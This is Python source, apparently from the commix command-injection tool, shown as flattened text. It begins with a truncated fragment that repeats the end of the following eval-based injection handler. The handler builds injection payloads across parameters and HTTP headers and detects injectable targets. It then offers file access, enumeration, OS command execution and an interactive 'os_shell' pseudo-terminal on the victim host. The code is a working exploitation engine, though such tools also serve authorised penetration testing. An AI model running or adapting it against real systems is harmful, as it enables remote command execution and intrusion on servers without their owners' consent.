shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def eb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.EVAL_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) # suffix = _urllib.parse.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + ")}" in payload: payload = payload.replace( ")%3B" + ")}", ")" + ")}") #payload = payload + TAG + "" # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) if not settings.TAMPER_SCRIPTS['base64encode'] and \ not settings.TAMPER_SCRIPTS['hexencode']: payload = payload.replace(" ", "%20") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = eb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) time.sleep(timesec) if settings.VERBOSITY_LEVEL == 0: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + " (" + str( float_percent) + "%)" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent) + "%)" elif len(shell) != 0: percent = settings.info_msg else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print(settings.SPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print(settings.SPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print(settings.SPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print(settings.SPACE) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print(settings.SPACE) eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print(settings.SPACE) # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print(settings.SPACE) eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print(settings.SPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # The main command injection exploitation. time.sleep(timesec) response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell != "": shell = "".join( str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) return False else: sys.stdout.write("\r") sys.stdout.flush()